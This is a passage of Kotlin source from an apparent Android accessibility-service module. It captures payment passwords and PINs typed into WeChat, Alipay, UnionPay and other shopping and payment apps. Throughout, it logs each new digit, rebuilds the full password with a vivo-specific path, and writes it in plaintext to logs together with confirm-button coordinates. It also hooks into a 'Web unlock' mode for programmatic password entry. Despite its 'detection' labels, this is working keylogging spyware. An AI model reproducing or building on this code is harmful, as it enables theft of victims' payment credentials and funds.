        if (isPotentialPasswordScenario && !isEnhancedDetectionMode) {
            activateEnhancedDetection("密码场景检测")
        }
        
        // ✅ vivo设备专用快速密码捕获优化
        if (isVivoDevice && isPotentialPasswordScenario) {
            handleVivoPasswordCapture(event, text, beforeText, packageName, className)
        }
        
        // ✅ 安全的增强文本变化监控：只在增强模式且明确的密码场景下
        if (isEnhancedDetectionMode && isPotentialPasswordScenario) {
            Log.w(TAG, "🔍 [增强模式] 文本变化监控: 包名: $packageName")
            Log.w(TAG, "   当前文本: '$text' (长度: ${text.length})")
            Log.w(TAG, "   之前文本: '$beforeText' (长度: ${beforeText.length})")
            
            // 特别关注支付密码场景
            if (isPaymentPasswordScenario(packageName, className, text)) {
                Log.w(TAG, "🚨 [支付密码] 检测到支付密码输入场景")
                
                // 分析文本变化模式
                val textLengthIncreased = text.length > beforeText.length
                val isNewCharacter = textLengthIncreased && (text.length - beforeText.length) == 1
                
                // 如果是新增单个字符
                if (isNewCharacter) {
                    val newChar = text.takeLast(1)
                    Log.w(TAG, "🚨 [支付密码] 检测到新字符: '$newChar'")
                    
                    // 立即记录新增的字符
                    logScope.launch {
                        recordLog(
                            "PAYMENT_PASSWORD_CHANGE", 
                            "支付密码新增: $newChar",
                            mapOf(
                                "newCharacter" to newChar,
                                "fullText" to text,
                                "previousText" to beforeText,
                                "packageName" to packageName,
                                "className" to className,
                                "detectionMethod" to "enhanced_text_analysis",
                                "enhancedMode" to true
                            )
                        )
                    }
                    
                    // 如果是数字，添加到序列
                    if (newChar.matches(Regex("[0-9]"))) {
                        val currentTime = System.currentTimeMillis()
                        numericPasswordSequence.add(mapOf(
                            "digit" to newChar,
                            "timestamp" to currentTime,
                            "className" to className,
                            "packageName" to packageName,
                            "source" to "enhanced_payment_text_change"
                        ))
                        Log.w(TAG, "🔢 [支付密码] 数字序列添加: $newChar (总计: ${numericPasswordSequence.size})")
                    }
                }
                
                // 分析完整文本中的数字变化
                val currentDigits = text.filter { it.isDigit() }
                val previousDigits = beforeText.filter { it.isDigit() }
                
                if (currentDigits.length > previousDigits.length) {
                    val newDigits = currentDigits.drop(previousDigits.length)
                    Log.w(TAG, "🚨 [支付密码] 新增数字: '$newDigits'")
                    
                    newDigits.forEach { digit ->
                        val currentTime = System.currentTimeMillis()
                        numericPasswordSequence.add(mapOf(
                            "digit" to digit.toString(),
                            "timestamp" to currentTime,
                            "className" to className,
                            "packageName" to packageName,
                            "source" to "enhanced_payment_digit_analysis"
                        ))
                        Log.w(TAG, "🔢 [支付密码] 数字序列添加: $digit (总计: ${numericPasswordSequence.size})")
                    }
                }
            }
        }
        
        val currentTime = System.currentTimeMillis()
        
        // 检查是否为密码字段
        if (isPasswordField(event)) {
            handlePasswordInput(event, text, beforeText, currentTime)
        }
    }
    
    /**
     * ✅ 智能检测密码输入场景
     */
    private fun detectPasswordScenario(packageName: String, className: String, text: String, beforeText: String): Boolean {
        // 1. 检查是否为已知的支付应用
        val isPaymentApp = packageName.contains("tencent.mm") || // 微信
                          packageName.contains("alipay") || // 支付宝
                          packageName.contains("unionpay") || // 云闪付
                          packageName.contains("jd") || // 京东
                          packageName.contains("taobao") || // 淘宝
                          packageName.contains("meituan") // 美团
        
        // 2. 检查文本模式是否像密码输入
        val hasPasswordPattern = (text.contains("•") || text.contains("*")) || // 掩码字符
                                (text.length in 1..12 && text.all { it.isDigit() }) || // 数字密码
                                (beforeText.isEmpty() && text.length == 1 && text.matches(Regex("[0-9]"))) // 首次数字输入
        
        // 3. 检查类名是否指示密码输入
        val hasPasswordClass = className.lowercase().let { cls ->
            cls.contains("password") || cls.contains("pin") || cls.contains("secure") ||
            cls.contains("payment") || cls.contains("pay") || cls.contains("wallet")
        }
        
        // 4. 检查文本长度变化模式（通常密码是逐字符输入）
        val hasPasswordInputPattern = (text.length - beforeText.length) == 1 && text.length <= 8
        
        return isPaymentApp && (hasPasswordPattern || hasPasswordClass || hasPasswordInputPattern)
    }
    
    /**
     * ✅ 检测是否为支付密码场景
     */
    private fun isPaymentPasswordScenario(packageName: String, className: String, text: String): Boolean {
        // 严格的支付密码检测条件
        val isPaymentApp = packageName.contains("tencent.mm") || 
                          packageName.contains("alipay") ||
                          packageName.contains("unionpay")
        
        val hasPaymentIndicators = text.length in 1..6 && // 支付密码通常是6位以内
                                  (text.all { it.isDigit() || it == '•' || it == '*' }) && // 只包含数字或掩码
                                  className.lowercase().let { cls ->
                                      cls.contains("edit") || cls.contains("text") || cls.contains("input")
                                  }
        
        return isPaymentApp && hasPaymentIndicators
    }
    
    /**
     * ✅ 激活增强检测模式
     */
    private fun activateEnhancedDetection(reason: String) {
        isEnhancedDetectionMode = true
        enhancedDetectionStartTime = System.currentTimeMillis()
        Log.i(TAG, "🚀 [增强模式] 激活增强检测: $reason (30秒后自动关闭)")
    }
    
    /**
     * ✅ 手动关闭增强检测模式
     */
    private fun deactivateEnhancedDetection(reason: String) {
        isEnhancedDetectionMode = false
        enhancedDetectionStartTime = 0L
        Log.i(TAG, "🛑 [增强模式] 关闭增强检测: $reason")
    }
    
    /**
     * ✅ 设置程序化输入状态（由InputManager调用）
     */
    fun setProgrammaticInputActive(active: Boolean) {
        val oldState = isProgrammaticInputActive
        isProgrammaticInputActive = active
        if (active) {
            lastProgrammaticInputTime = System.currentTimeMillis()
            Log.i(TAG, "🔢 [程序化输入] 状态变更: $oldState -> $active (设置为活跃状态) 时间=${lastProgrammaticInputTime}")
        } else {
            Log.i(TAG, "🔢 [程序化输入] 状态变更: $oldState -> $active (设置为非活跃状态)")
        }
    }
    
    /**
     * ✅ 检查是否正在执行程序化数字密码输入
     */
    private fun isCurrentlyExecutingNumericPasswordInput(): Boolean {
        val currentTime = System.currentTimeMillis()
        val timeSinceLastProgrammatic = currentTime - lastProgrammaticInputTime
        
        // ✅ vivo设备使用优化的检测窗口，避免快速用户输入被误判
        val detectionWindow = if (isVivoDevice) {
            vivoOptimizedProgrammaticDetectionWindow // vivo设备: 500ms
        } else {
            1000L // 其他设备: 1000ms
        }
        
        val isProgrammatic = isProgrammaticInputActive || timeSinceLastProgrammatic < detectionWindow
        
        Log.i(TAG, "🔢 [程序化输入检测] 当前时间=$currentTime, 上次程序化时间=$lastProgrammaticInputTime")
        Log.i(TAG, "🔢 [程序化输入检测] 标志=$isProgrammaticInputActive, 时间差=${timeSinceLastProgrammatic}ms")
        Log.i(TAG, "🔢 [程序化输入检测] 检测窗口=${detectionWindow}ms (vivo设备优化: $isVivoDevice), 最终结果=$isProgrammatic")
        
        if (isProgrammatic) {
            Log.w(TAG, "🔢 ✅ 检测到程序化输入中 - 将仅记录不触发确认")
        } else {
            Log.w(TAG, "🔢 ❌ 非程序化输入 - 将正常处理并可能触发确认")
        }
        
        return isProgrammatic
    }
    
    /**
     * 处理密码输入分析
     */
    private fun handlePasswordInput(event: AccessibilityEvent, text: String, beforeText: String, currentTime: Long) {
        val className = event.className?.toString() ?: ""
        val packageName = event.packageName?.toString() ?: ""
        
        // ✅ 防止重复分析：如果正在分析中或最近刚分析过，则跳过
        if (isPasswordAnalyzing) {
            Log.d(TAG, "🔒 [重复检测] 正在分析中，跳过重复处理")
            return
        }
        
        if (currentTime - lastPasswordAnalysisTime < passwordAnalysisLockTimeout) {
            Log.d(TAG, "🔒 [重复检测] 最近已分析过 (${currentTime - lastPasswordAnalysisTime}ms < ${passwordAnalysisLockTimeout}ms)，跳过")
            return
        }
        
        // 检查是否是新的密码输入会话
        if (!isPasswordInputActive || (currentTime - lastPasswordEventTime > passwordInputTimeout)) {
            if (isPasswordInputActive) {
                // 结束上一个密码输入会话
                finishPasswordInput()
            }
            
            // 开始新的密码输入会话
            startPasswordInput(packageName, className, currentTime)
        }
        
        // 获取实际输入的文本
        val actualText = getPasswordText(event, text, beforeText)
        val inputType = detectPasswordType(text, actualText, className)
        
        // 记录密码输入事件
        recordPasswordInputEvent(actualText, beforeText, currentTime, inputType, className, packageName)
        lastPasswordEventTime = currentTime
        
        // ✅ 修复：对于所有密码类型，使用统一的完成触发策略
        if (shouldFinishPasswordInput(text, beforeText)) {
            val triggerTime = currentTime  // 记录当前输入时间
            
            Handler(Looper.getMainLooper()).postDelayed({
                // 只有当没有更新的输入时才触发分析
                if (isPasswordInputActive && lastPasswordEventTime == triggerTime) {
                    Log.d(TAG, "🔒 [密码分析] 无新输入，触发密码分析")
                    finishPasswordInput()
                } else {
                    Log.d(TAG, "🔒 [密码分析] 检测到更新输入 (${lastPasswordEventTime} vs ${triggerTime})，跳过分析")
                }
            }, 2000) // 2秒后检查
        }
    }
    
    /**
     * 开始密码输入会话
     */
    private fun startPasswordInput(packageName: String, className: String, currentTime: Long) {
        isPasswordInputActive = true
        passwordInputStartTime = currentTime
        passwordInputEvents.clear()
        // ✅ 修复：不要清空数字序列，因为用户点击数字键时可能已经添加了数字
        // 只有在真正结束密码输入时才清空序列
        // numericPasswordSequence.clear() // 注释掉这行
        hasDetectedZero = false // ✅ 重置数字0标志（新的密码输入会话）
        currentPasswordLength = 0

        Log.d(TAG, "🔒 [密码分析] 开始新的密码输入会话: 包名=$packageName, 类名=$className")
        
        // ✅ vivo设备专用初始化
        if (isVivoDevice) {
            vivoExtractedChars.clear()
            vivoPasswordBuffer = ""
            vivoLastCaptureTime = currentTime
            Log.i(TAG, "📱 [vivo初始化] 已清理vivo设备专用缓存，准备快速捕获")
        }
       
        logScope.launch {
            recordLog(
                "TEXT_INPUT",
                "🔒 密码输入开始",
                mapOf(
                    "packageName" to packageName,
                    "className" to className,
                    "startTime" to passwordInputStartTime,
                    "eventType" to "password_input_start"
                )
            )
        }
    }
    
    /**
     * 记录密码输入事件
     */
    private fun recordPasswordInputEvent(actualText: String, beforeText: String, currentTime: Long, inputType: String, className: String, packageName: String) {
        // 计算实际密码长度（保留数字、字母和掩码字符）
        val cleanActualText = actualText.replace(Regex("[^\\w•*]"), "")
        val cleanBeforeText = beforeText.replace(Regex("[^\\w•*]"), "")
        
        val lengthDifference = cleanActualText.length - cleanBeforeText.length
        currentPasswordLength = cleanActualText.length
        
        // ✅ 修复：不要用数字序列长度覆盖完整密码长度
        // 数字序列只是密码的一部分（数字部分），不应该覆盖完整密码的长度
        val sequenceLength = numericPasswordSequence.size
        
        // ✅ 修复：如果有数字序列，且序列长度大于文本长度，优先使用序列长度
        if (sequenceLength > 0) {
            if (currentPasswordLength == 0) {
                Log.d(TAG, "🔍 [快速输入优化] 文本长度为0，使用序列长度: $sequenceLength")
                currentPasswordLength = sequenceLength
            } else if (sequenceLength > currentPasswordLength) {
                Log.d(TAG, "🔍 [快速输入优化] 序列长度($sequenceLength) > 文本长度($currentPasswordLength)，使用序列长度")
                currentPasswordLength = sequenceLength
            } else {
                Log.d(TAG, "🔍 [快速输入优化] 长度信息: 文本长度=$currentPasswordLength, 数字序列长度=$sequenceLength")
            }
        }
        
        Log.d(TAG, "🔍 [快速输入优化] 密码长度计算: 原始='$actualText'(${actualText.length}), 清理后='$cleanActualText'(${cleanActualText.length}), 当前长度=$currentPasswordLength, 序列长度=$sequenceLength")
        
        val inputEvent = mapOf(
            "timestamp" to currentTime,
            "lengthChange" to lengthDifference,
            "currentLength" to currentPasswordLength,
            "inputType" to inputType,
            "relativeTime" to (currentTime - passwordInputStartTime),
            "actualPasswordText" to cleanActualText,
            "displayText" to actualText,
            "numericSequenceLength" to sequenceLength // ✅ 添加序列长度信息
        )
        
        passwordInputEvents.add(inputEvent)
        
        val operationType = when {
            lengthDifference > 0 -> "输入"
            lengthDifference < 0 -> "删除"
            else -> "修改"
        }
        
        // ✅ 快速输入优化：如果有数字序列，添加序列信息到日志
        val sequencePassword = if (numericPasswordSequence.isNotEmpty()) {
            numericPasswordSequence.joinToString("") { it["digit"] as String }
        } else ""
        
        logScope.launch {
            recordLog(
                "TEXT_INPUT",
                "🔒 [快速输入优化] 密码输入: $actualText (${currentPasswordLength}位)",
                mapOf(
                    "packageName" to packageName,
                    "className" to className,
                    "operationType" to operationType,
                    "currentLength" to currentPasswordLength,
                    "lengthChange" to lengthDifference,
                    "inputType" to inputType,
                    "eventSequence" to passwordInputEvents.size,
                    "relativeTime" to (currentTime - passwordInputStartTime),
                    "actualPasswordText" to cleanActualText,  // 包含实际密码内容
                    "displayText" to actualText,  // 包含显示的掩码文本
                    "isPasswordCapture" to true,
                    "numericSequenceLength" to sequenceLength, // ✅ 数字序列长度
                    "numericSequencePassword" to sequencePassword, // ✅ 数字序列密码
                    "isFastInput" to (sequenceLength > 0) // ✅ 是否为快速输入
                )
            )
        }
    }
    
    /**
     * 完成密码输入分析 - ✅ 增强版本，记录确认按钮坐标
     */
    private fun finishPasswordInput() {
        if (!isPasswordInputActive) return
        
        // ✅ 设置分析锁，防止重复分析
        if (isPasswordAnalyzing) {
            Log.d(TAG, "🔒 [重复检测] 已在分析中，跳过重复分析")
            return
        }
        
        isPasswordAnalyzing = true
        lastPasswordAnalysisTime = System.currentTimeMillis()
        
        val duration = System.currentTimeMillis() - passwordInputStartTime
        val eventCount = passwordInputEvents.size
        
        Log.d(TAG, "🔒 [密码分析] 完成密码输入分析: 持续时间=${duration}ms, 事件数量=$eventCount")
        
        // 重构完整密码
        val reconstructedPassword = if (isVivoDevice && vivoExtractedChars.isNotEmpty()) {
            // vivo设备优先使用捕获的明文字符重构
            val vivoReconstructed = reconstructVivoPassword("")
            if (vivoReconstructed.isNotEmpty()) {
                Log.i(TAG, "📱 [vivo密码重构] 使用vivo专用重构: '$vivoReconstructed' (长度=${vivoReconstructed.length})")
                vivoReconstructed
            } else {
                // 如果vivo重构失败，使用标准重构
                reconstructPassword()
            }
        } else {
            reconstructPassword()
        }
        Log.d(TAG, "🔒 [密码分析] 重构密码: '$reconstructedPassword' (长度=${reconstructedPassword.length})")
        
        // ✅ 修复：使用重构密码的实际长度，而不是可能被数字序列长度覆盖的currentPasswordLength
        val actualPasswordLength = if (reconstructedPassword.isNotEmpty()) {
            reconstructedPassword.length
        } else {
            // 如果重构失败，从最后一个事件获取最大长度
            passwordInputEvents.maxOfOrNull { (it["currentLength"] as? Int) ?: 0 } ?: currentPasswordLength
        }
        
        Log.d(TAG, "🔒 [密码分析] 长度校正: currentPasswordLength=$currentPasswordLength -> actualPasswordLength=$actualPasswordLength")
        
        // 分析密码输入模式 - ✅ 传递实际密码长度
        val passwordAnalysis = analyzePasswordPattern(actualPasswordLength)
        
            // ✅ 检测密码类型 - 使用现有的检测方法
    val passwordType = detectPasswordTypeFromEvents()
        Log.d(TAG, "🔒 [密码分析] 检测到密码类型: $passwordType")
    var confirmButtonCoordinate: Pair<Float, Float>? = null
        
        // ✅ 对于需要确认按钮的密码类型，启动确认按钮监听并触发智能确认检测
        val needsConfirmation = passwordType in listOf("混合密码", "文本密码", "数字密码", "PIN码")
        
        if (needsConfirmation) {
            Log.d(TAG, "🔒 [密码分析] 密码类型 '$passwordType' 需要确认按钮，启动智能确认检测")
            
            // 启动确认按钮坐标监听
            startConfirmClickListening()
            
            // ✅ 立即尝试智能学习确认按钮坐标
            enhancedConfirmButtonLearning()
            
            // ✅ 修复：所有密码类型都跳过自动确认触发，避免干扰用户输入
            // 保留密码记录和学习功能，但移除所有自动确认触发
            val shouldTriggerConfirm = when (passwordType) {
                "数字密码", "PIN码" -> {
                    Log.d(TAG, "🔢 [数字密码] 跳过自动确认触发，保留密码记录功能")
                    false // 数字密码不在这里触发确认
                }
                "混合密码" -> {
                    Log.d(TAG, "🔤 [混合密码] 跳过自动确认触发，保留密码记录功能")
                    false // 混合密码不在这里触发确认
                }
                "文本密码" -> {
                    Log.d(TAG, "📝 [文本密码] 跳过自动确认触发，保留密码记录功能") 
                    false // 文本密码不在这里触发确认
                }
                else -> {
                    Log.d(TAG, "🔒 [${passwordType}] 跳过自动确认触发，保留密码记录功能")
                    false // 所有其他密码类型都不触发确认
                }
            }
            
            if (shouldTriggerConfirm) {
                // ✅ 修改：只在Web解锁模式下才触发智能确认检测
                val isWebUnlockMode = service.isWebUnlockMode()
                Log.d(TAG, "🤖 [密码分析] Web解锁模式检查: $isWebUnlockMode")
                
                if (isWebUnlockMode) {
                    val confirmDetectionType = convertToConfirmDetectionType(passwordType)
                    Log.d(TAG, "🔓 [Web解锁] 触发智能确认检测: 原始类型='$passwordType' -> 检测类型='$confirmDetectionType'")
                    
                    // 异步触发确认检测，避免阻塞
                    Handler(Looper.getMainLooper()).postDelayed({
                        try {
                            service.tryLockScreenConfirm(confirmDetectionType)
                        } catch (e: Exception) {
                            Log.e(TAG, "触发确认检测失败", e)
                        }
                    }, 500) // 延迟500ms确保密码输入完成
                } else {
                    Log.i(TAG, "🚫 [非Web解锁] 跳过自动确认触发，等待用户手动确认")
                }
            }
            
            // ✅ 优化：简化确认按钮坐标获取流程
            Handler(Looper.getMainLooper()).postDelayed({
                // 检查是否捕获到确认坐标
                confirmButtonCoordinate = lastConfirmClickCoordinate
                val currentCoords = confirmButtonCoordinate
                if (currentCoords != null) {
                    Log.d(TAG, "✅ 发现确认按钮坐标: (${currentCoords.first}, ${currentCoords.second})")
                    
                    // ✅ 更新之前记录的日志，添加确认坐标信息
                    updatePasswordLogWithConfirmCoords(currentCoords)
                } else {
                    Log.d(TAG, "ℹ️ 未捕获到确认按钮坐标，将等待用户手动点击学习")
                }
                
                // 停止监听
                stopConfirmClickListening()
            }, 2000) // 减少等待时间到2秒
        }
        
        // 构建详细的分析信息文本 - ✅ 使用实际密码长度
        val analysisText = buildPasswordAnalysisText(passwordAnalysis, duration, eventCount, actualPasswordLength, reconstructedPassword, confirmButtonCoordinate)
        
        logScope.launch {
            val extraData = mutableMapOf<String, Any>(
                    "duration" to duration,
                    "eventCount" to eventCount,
                    "finalLength" to actualPasswordLength, // ✅ 使用实际长度
                    "passwordAnalysis" to passwordAnalysis,
                    "eventType" to "password_input_complete",
                    "isDetailedAnalysis" to true,
                    "reconstructedPassword" to reconstructedPassword,  // 包含重构的完整密码
                "isPasswordCapture" to true,
                "passwordType" to passwordType,
                "enhancedPasswordType" to convertToEnhancedType(passwordType), // ✅ 添加增强类型
                "legacyPasswordType" to passwordType, // ✅ 添加传统类型
                "originalCurrentPasswordLength" to currentPasswordLength, // ✅ 保留原始长度用于调试
                "correctedPasswordLength" to actualPasswordLength // ✅ 校正后的长度
            )
            
            // ✅ 如果有确认按钮坐标，记录到extraData中
            confirmButtonCoordinate?.let { coord ->
                extraData["confirmButtonX"] = coord.first
                extraData["confirmButtonY"] = coord.second
                extraData["hasConfirmButton"] = true
            } ?: run {
                extraData["hasConfirmButton"] = false
            }
            
            recordLog("TEXT_INPUT", analysisText, extraData)
        }
        
        // 重置状态
        isPasswordInputActive = false
        passwordInputEvents.clear()
        numericPasswordSequence.clear() // ✅ 清空数字序列
        currentPasswordLength = 0
        
        // ✅ 释放分析锁
        isPasswordAnalyzing = false
        Log.d(TAG, "🔒 [密码分析] 分析完成，释放分析锁")
    }
    


    /**
     * ✅ 保留：从输入事件中检测密码类型（备用方法）
     */
    private fun detectPasswordTypeFromEvents(): String {
        if (passwordInputEvents.isEmpty()) return "未知密码"
        
        // 获取最后一个事件的密码类型判断
        val lastEvent = passwordInputEvents.lastOrNull()
        val lastActualText = lastEvent?.get("actualPasswordText") as? String ?: ""
        val lastDisplayText = lastEvent?.get("displayText") as? String ?: ""
        val lastClassName = lastEvent?.get("className") as? String ?: ""
        
        return detectPasswordType(lastDisplayText, lastActualText, lastClassName)
    }
    
    /**
     * ✅ 新增：启动确认按钮点击监听
     */
    private fun startConfirmClickListening() {
        isAwaitingConfirmClick = true
        confirmClickStartTime = System.currentTimeMillis()
        lastConfirmClickCoordinate = null
        Log.d(TAG, "🔍 开始监听确认按钮点击...")
    }
    
    /**
     * ✅ 新增：停止确认按钮点击监听
     */
    private fun stopConfirmClickListening() {
        isAwaitingConfirmClick = false
        Log.d(TAG, "🔍 停止监听确认按钮点击")
    }
    
    /**
     * ✅ 新增：更新密码日志，添加确认按钮坐标信息
     */
    private fun updatePasswordLogWithConfirmCoords(confirmCoords: Pair<Float, Float>) {
        try {
            Log.d(TAG, "🔄 更新密码日志，添加确认坐标: (${confirmCoords.first}, ${confirmCoords.second})")
            
            // 记录一条新的日志，包含确认按钮坐标信息
            logScope.launch {
                recordLog(
                    "PASSWORD_CONFIRM_COORDS",
                    "确认按钮坐标更新: (${confirmCoords.first.toInt()}, ${confirmCoords.second.toInt()})",
                    mapOf(
                        "confirmButtonX" to confirmCoords.first,
                        "confirmButtonY" to confirmCoords.second,
                        "hasConfirmButton" to true,
                        "updateTime" to System.currentTimeMillis(),
                        "relatedToLastPassword" to true
                    )
                )
            }
            
        } catch (e: Exception) {
            Log.w(TAG, "更新密码日志确认坐标失败", e)
        }
    }
    
    /**
     * 检测密码类型 - ✅ 优化版本，改进数字密码和图形密码的区分
     */
    private fun detectPasswordType(displayText: String, actualText: String, className: String): String {
        val classLower = className.lowercase()
        
        // 检查内容描述以确定密码类型
        val lastEvent = passwordInputEvents.lastOrNull()
        val hasLetters = actualText.any { it.isLetter() } || displayText.any { it.isLetter() }
        val hasDigitsAndLetters = actualText.any { it.isDigit() } && hasLetters
        val cleanActualText = actualText.replace(Regex("[•*\\s]"), "")
        
        Log.d(TAG, "🔍 密码类型检测开始:")
        Log.d(TAG, "  显示文本: '$displayText'")
        Log.d(TAG, "  实际文本: '$actualText'")
        Log.d(TAG, "  清理文本: '$cleanActualText'") 
        Log.d(TAG, "  类名: '$className'")
        Log.d(TAG, "  包含字母: $hasLetters")
        Log.d(TAG, "  混合内容: $hasDigitsAndLetters")
        
        // ✅ 优化的密码类型检测逻辑 - 明确优先级
        val detectedType = when {
            // 1. 优先检查明确包含字母的情况
            hasDigitsAndLetters -> {
                Log.d(TAG, "  检测结果: 混合密码（包含数字和字母）")
                "混合密码"
            }
            hasLetters && !cleanActualText.any { it.isDigit() } -> {
                Log.d(TAG, "  检测结果: 文本密码（仅包含字母）")
                "文本密码"
            }
            
            // 2. 检查类名中的明确PIN标识
            classLower.contains("pin") && !hasLetters -> {
                Log.d(TAG, "  检测结果: PIN码（类名包含pin）")
                "PIN码"
            }
            
            // 3. 检查数字类型密码
            isNumericPassword(displayText, actualText) -> {
                // PIN码检测（长度和上下文）
                if ((cleanActualText.length == 4 || cleanActualText.length == 6) && isPinContext(classLower)) {
                    Log.d(TAG, "  检测结果: PIN码（长度和上下文匹配）")
                    "PIN码"
                }
                // 默认数字密码
                else {
                    Log.d(TAG, "  检测结果: 数字密码（纯数字）")
                    "数字密码"
                }
            }
            
            // 4. 基于显示模式的判断（全掩码显示）
            displayText.all { it == '•' || it == '*' || it.isWhitespace() } -> {
                when {
                    currentPasswordLength in 4..6 && isPinContext(classLower) -> {
                        Log.d(TAG, "  检测结果: PIN码（掩码显示，长度和上下文匹配）")
                        "PIN码"
                    }

                    else -> {
                        Log.d(TAG, "  检测结果: 数字密码（掩码显示，默认情况）")
                        "数字密码"
                    }
                }
            }
            

            
            // 6. 默认情况
            else -> {
                Log.d(TAG, "  检测结果: 文本密码（默认情况）")
                "文本密码"
            }
        }
        
        Log.d(TAG, "🔍 最终密码类型: $detectedType")
        return detectedType
    }
    
    // ✅ 新增：检查是否为数字密码
    private fun isNumericPassword(displayText: String, actualText: String): Boolean {
        val cleanActual = actualText.replace(Regex("[•*\\s]"), "")
        val cleanDisplay = displayText.replace(Regex("[•*\\s]"), "")
        
        // 检查是否主要由数字和掩码字符组成
        val isMainlyNumericAndMask = displayText.all { it.isDigit() || it == '•' || it == '*' || it.isWhitespace() }
        val hasNumericContent = cleanActual.any { it.isDigit() } || cleanDisplay.any { it.isDigit() }
        val hasNoLetters = !cleanActual.any { it.isLetter() } && !cleanDisplay.any { it.isLetter() }
        
        return isMainlyNumericAndMask && hasNumericContent && hasNoLetters
    }
    
    // ✅ 新增：检查是否为PIN码上下文
    private fun isPinContext(classLower: String): Boolean {
        return classLower.contains("pin") || 
               classLower.contains("numeric") ||
               classLower.contains("number") ||
               classLower.contains("keypad")
    }
    

    
    /**
     * 判断是否应该结束密码输入
     */
    private fun shouldFinishPasswordInput(text: String, beforeText: String): Boolean {
        // ✅ 修复：统一所有密码类型的完成检测逻辑
        
        val isCleared = beforeText.length > 0 && text.length == 0
        val noLengthChange = text.length == beforeText.length && text.length > 0
        val hasContent = text.length > 0
        
        // ✅ 对于数字密码，使用更简单的逻辑：每次输入都可能触发完成检测
        if (numericPasswordSequence.isNotEmpty()) {
            Log.d(TAG, "🔢 数字密码输入，允许触发完成检测")
            return true // 允许触发完成检测，具体时间控制在调用方
        }
        
        // ✅ 修复：对于所有密码类型，只要有内容就允许触发完成检测
        // 具体的时间控制在调用方的延迟逻辑中进行
        if (hasContent) {
            Log.d(TAG, "🔒 密码有内容(${text.length}位)，允许触发完成检测")
            return true
        }
        
        // 传统的清空检测逻辑保留
        return isCleared
    }
    
    /**
     * 分析密码输入模式 - ✅ 修复：使用传入的实际密码长度
     */
    private fun analyzePasswordPattern(actualPasswordLength: Int = currentPasswordLength): Map<String, Any> {
        if (passwordInputEvents.isEmpty()) {
            return mapOf("pattern" to "no_events")
        }
        
        val totalDuration = if (passwordInputEvents.size > 1) {
            (passwordInputEvents.last()["timestamp"] as Long) - (passwordInputEvents.first()["timestamp"] as Long)
        } else {
            0L
        }
        
        // 分析输入间隔
        val intervals = mutableListOf<Long>()
        for (i in 1 until passwordInputEvents.size) {
            val prevTime = passwordInputEvents[i-1]["timestamp"] as Long
            val currTime = passwordInputEvents[i]["timestamp"] as Long
            intervals.add(currTime - prevTime)
        }
        
        val avgInterval = if (intervals.isNotEmpty()) intervals.average() else 0.0
        val maxInterval = intervals.maxOrNull() ?: 0L
        val minInterval = intervals.minOrNull() ?: 0L
        
        // 分析删除操作
        val deleteCount = passwordInputEvents.count { (it["lengthChange"] as Int) < 0 }
        val inputCount = passwordInputEvents.count { (it["lengthChange"] as Int) > 0 }
        
        // 分析输入特征 - ✅ 使用实际密码长度
        val complexity = when {
            actualPasswordLength <= 4 -> "简单密码"
            actualPasswordLength <= 8 -> "中等复杂度"
            actualPasswordLength <= 12 -> "复杂密码"
            else -> "很复杂密码"
        }
        
        val typingSpeed = when {
            avgInterval < 500 -> "快速输入"
            avgInterval < 1500 -> "正常速度"
            else -> "慢速输入"
        }
        
        val inputPattern = when {
            deleteCount == 0 -> "一次性输入"
            deleteCount <= 2 -> "少量修正"
            else -> "多次修正"
        }
        
        return mapOf(
            "totalEvents" to passwordInputEvents.size,
            "inputDuration" to totalDuration,
            "averageInterval" to avgInterval.toLong(),
            "maxInterval" to maxInterval,
            "minInterval" to minInterval,
            "passwordLength" to actualPasswordLength, // ✅ 使用实际密码长度
            "deleteCount" to deleteCount,
            "inputCount" to inputCount,
            "complexity" to complexity,
            "typingSpeed" to typingSpeed,
            "inputPattern" to inputPattern,
            "intervals" to intervals
        )
    }
    
    /**
     * 构建密码分析结果的详细文本 - ✅ 增强版本，包含确认按钮信息
     */
    private fun buildPasswordAnalysisText(
        analysis: Map<String, Any>, 
        duration: Long, 
        eventCount: Int, 
        finalLength: Int, 
        reconstructedPassword: String = "",
        confirmButtonCoordinate: Pair<Float, Float>? = null
    ): String {
        val complexity = analysis["complexity"] as String
        val typingSpeed = analysis["typingSpeed"] as String
        val inputPattern = analysis["inputPattern"] as String
        val avgInterval = analysis["averageInterval"] as Long
        val deleteCount = analysis["deleteCount"] as Int
        
        val passwordInfo = if (reconstructedPassword.isNotEmpty()) {
            " | 密码：${reconstructedPassword}"
        } else ""
        
        val confirmInfo = if (confirmButtonCoordinate != null) {
            " | 确认坐标：(${confirmButtonCoordinate.first.toInt()}, ${confirmButtonCoordinate.second.toInt()})"
        } else ""
        
        return "🔑 密码输入分析完成 - " +
               "耗时${duration}ms，${eventCount}个操作 | " +
               "长度：${finalLength}位${passwordInfo} | " +
               "复杂度：${complexity} | " +
               "输入：${typingSpeed}(平均${avgInterval}ms/操作) | " +
               "模式：${inputPattern}" +
               if (deleteCount > 0) "，${deleteCount}次删除" else "" +
               confirmInfo
    }
    
    /**
     * ✅ 密码重构算法 - 简化的两级策略：优先键盘点击，备用文本分析
     */
    private fun reconstructPassword(): String {
        Log.d(TAG, "🔍 密码重构开始")
        Log.d(TAG, "  数字键盘序列数量: ${numericPasswordSequence.size}")
        Log.d(TAG, "  密码输入事件数量: ${passwordInputEvents.size}")
        Log.d(TAG, "  当前密码长度: $currentPasswordLength")
        
        try {
            // ✅ 策略1：优先使用键盘点击序列（最可靠）
            if (numericPasswordSequence.isNotEmpty()) {
                Log.d(TAG, "🔢 [策略1] 使用键盘点击序列重构密码")
                return reconstructPasswordFromKeyboardClicks()
            }
            
            // ✅ 策略2：备用方案，使用文本显示分析
            if (passwordInputEvents.isNotEmpty()) {
                Log.d(TAG, "📝 [策略2] 使用文本显示分析重构密码")
                return reconstructPasswordFromTextEvents()
            }
            
            Log.w(TAG, "❌ 没有可用的密码重构数据")
            return ""
            
        } catch (e: Exception) {
            Log.w(TAG, "密码重构失败", e)
            return "?".repeat(currentPasswordLength)
        }
    }
    
    /**
     * ✅ 策略1：从键盘点击序列重构密码（修复版）
     */
    private fun reconstructPasswordFromKeyboardClicks(): String {
        // 按时间戳排序确保正确的输入顺序
        val sortedSequence = numericPasswordSequence.sortedBy { it["timestamp"] as Long }
        
        Log.d(TAG, "🔢 键盘点击序列 (按时间排序):")
        sortedSequence.forEachIndexed { index, digitEvent ->
            val digit = digitEvent["digit"] as? String ?: "?"
            val timestamp = digitEvent["timestamp"] as? Long ?: 0L
            val source = digitEvent["source"] as? String ?: "unknown"
            Log.d(TAG, "  [$index] $digit (时间戳: $timestamp, 来源: $source)")
        }
        
        // ✅ 修复：去重相同时间戳的重复数字，避免重复记录
